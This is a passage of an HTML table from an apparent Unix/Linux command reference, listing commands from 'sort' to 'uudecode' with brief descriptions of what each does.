<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> sort</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Sort text files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> source</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Run commands from a file</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> split</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Split a file into fixed-size pieces</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> ssh</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Secure Shell client (remote login program)</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> strace</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Trace system calls and signals</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> su</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Substitute user identity</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> sudo</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Execute a command as another user</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> sum</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Print a checksum for a file</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> suspend</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Suspend execution of this shell</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> symlink</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Make a new name for a file</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> sync</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Synchronize data on disk with memory</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">T</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> tail</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Output the last part of file</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> tar</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Tape Archiver</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> tee</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Redirect output to multiple files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> test</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Evaluate a conditional expression</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> time</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Measure Program running time</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> times</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> User and system times</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> touch</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Change file timestamps</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> top</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> List processes running on the system</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> traceroute</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Trace Route to Host</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> trap</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Run a command when a signal is set(bourne)</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> tr</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Translate, squeeze, and/or delete characters</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> true</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Do nothing, successfully</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> tsort</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Topological sort</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> tty</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Print filename of terminal on stdin</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> type</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Describe a command</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">U</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> ulimit</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Limit user resources</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> umask</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Users file creation mask</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> umount</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Unmount a device</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> unalias</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Remove an alias</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> uname</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Print system information</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> unexpand</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Convert spaces to tabs</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> uniq</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Uniquify files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> units</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Convert units from one scale to another</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> unset</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Remove variable or function names</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> unshar</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Unpack shell archive scripts</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> until</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Execute commands (until error)</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> uptime</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Show uptime</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> useradd</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Create new user account</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> usermod</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Modify user account</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> users</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> List users currently logged in</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> uuencode</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Encode a binary file</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> uudecode</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Decode a file created by uuencode</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">V</strong></td></tr>
